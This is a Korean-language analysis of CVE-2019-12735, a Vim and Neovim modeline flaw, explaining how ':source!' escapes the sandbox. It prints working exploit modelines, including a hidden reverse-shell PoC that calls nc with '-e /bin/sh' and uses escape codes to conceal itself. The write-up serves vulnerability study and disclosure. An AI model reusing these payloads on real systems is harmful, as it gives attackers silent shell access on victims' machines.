
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
8.1.1365 이전 버전의 Vim과 0.3.6 이전 버전의 Neovim에는 특수한 내용을 포함한 텍스트 파일을 열 때 modeline을 통해 손쉽게 임의 코드를 실행할 수 있는 취약점이 있습니다.
Modeline은 기본적으로 활성화되어 있으며 .txt 파일을 포함한 모든 유형의 파일에 적용됩니다. 파일 생성자가 파일의 시작과 끝에 언급한 옵션 집합을 자동으로 찾아 적용/실행합니다. 다음은 일반적인 modeline 명령줄입니다:
/* vim: set textwidth=80 tabstop=8: */
보안을 강화하기 위해 modelines에는 일부 옵션의 하위 집합만 적용/실행이 허용되며, 옵션 값에 표현식이 포함되어 있으면 sandbox 내에서 실행됩니다:
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
Sandbox는 부작용(side effects)을 방지합니다.
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
그러나 :source! 명령어(뒤에 [!]가 붙음)를 사용하면 sandbox를 우회할 수 있습니다. 이 명령어는 vim에게 특정 파일의 명령을 마치 vim에 수동으로 입력한 것처럼 읽고 실행하도록 강제하며, sandbox를 벗어난 뒤에 이를 실행합니다. 바로 이것이 vim을 통한 임의 코드 실행을 허용하는 취약점을 만듭니다.
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
위 취약점을 이용하면 sandbox 외부에서 코드를 실행하는 modeline을 구성할 수 있습니다:
# vim: set foldexpr=execute('\:source! some_file'):
또한 execute() 대신 assert_fails()를 사용할 수 있습니다:
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
source! 뒤에 % 문자를 추가하면 현재 파일을 실행합니다. 아래 예제는 uname -a || "(garbage)"를 셸 명령으로 실행합니다:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
또한 nvim_input() 함수는 Neovim에서 취약점을 악용하기 위한 것으로, 다음 예제와 같이 사용됩니다:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
저자는 Esc 문자를 사용하여 파일을 여는 순간 새 내용을 파일에 기록함으로써 내용을 숨기는 방식으로 리버스 셸을 생성하는 PoC를 제시했습니다.
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
위는 저자의 PoC이지만, 독자의 이해를 돕기 위해 위 PoC의 일부를 줄여 다음과 같이 만들었습니다:
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
vim을 열면 modeline 기능이 파일의 시작과 끝에서 modeline 명령을 찾습니다(여기서는 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ |\ source!\ %') fdl=0:'). 찾으면 해당 명령을 실행합니다. 앞서 설명한 modeline 동작 방식에 따라 source! % 명령은 현재 파일의 내용을 vim에 직접 입력한 것처럼 해당 파일을 실행합니다.
먼저 "\x1bSNothing here.\x1b:silent! w " 문자열을 실행합니다. vim을 사용해 본 적이 있다면 vim의 command 실행 모드를 알고 있을 것입니다. 이 모드에 들어가려면 Esc 키를 누르기만 하면 되며, 이 키의 값은 0x1b입니다. 그래서 위 PoC의 시작 부분에 0x1b가 있어 vim에서 command 모드로 진입하게 됩니다.
command 모드에 진입한 후 S 키를 누르면 커서가 있는 줄의 내용이 즉시 삭제되고 insert 모드로 돌아갑니다. 따라서 PoC의 다음 문자는 S가 되어 PoC 파일의 내용을 삭제하고 새 내용을 만듭니다.
이 시점에서 "Nothing here." 텍스트가 파일에 입력되고, 그다음 Esc 문자가 나와 다시 command 모드로 들어가며, :silent! w 명령 문자열이 화면에 어떤 메시지도 표시하지 않고 새 텍스트("Nothing here.")를 파일에 기록합니다.
파일을 기록한 뒤, call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') 명령과 이후의 명령들을 계속 실행하여 리버스 셸을 구성합니다. 마지막 명령 - silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n에서 silent! 뒤에는 # 기호가 오는데, 이로 인해 vim이 주석으로 처리하므로 실행되지 않습니다.
따라서 사용자가 vim/neovim으로 위 PoC를 열면, 사용자 측에는 modeline 기능을 통해 방금 작성된 "Nothing here." 텍스트 줄만 표시되므로 사용자가 전혀 알아차리지 못하는 사이에 공격자가 사용자의 셸을 획득하게 됩니다.
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md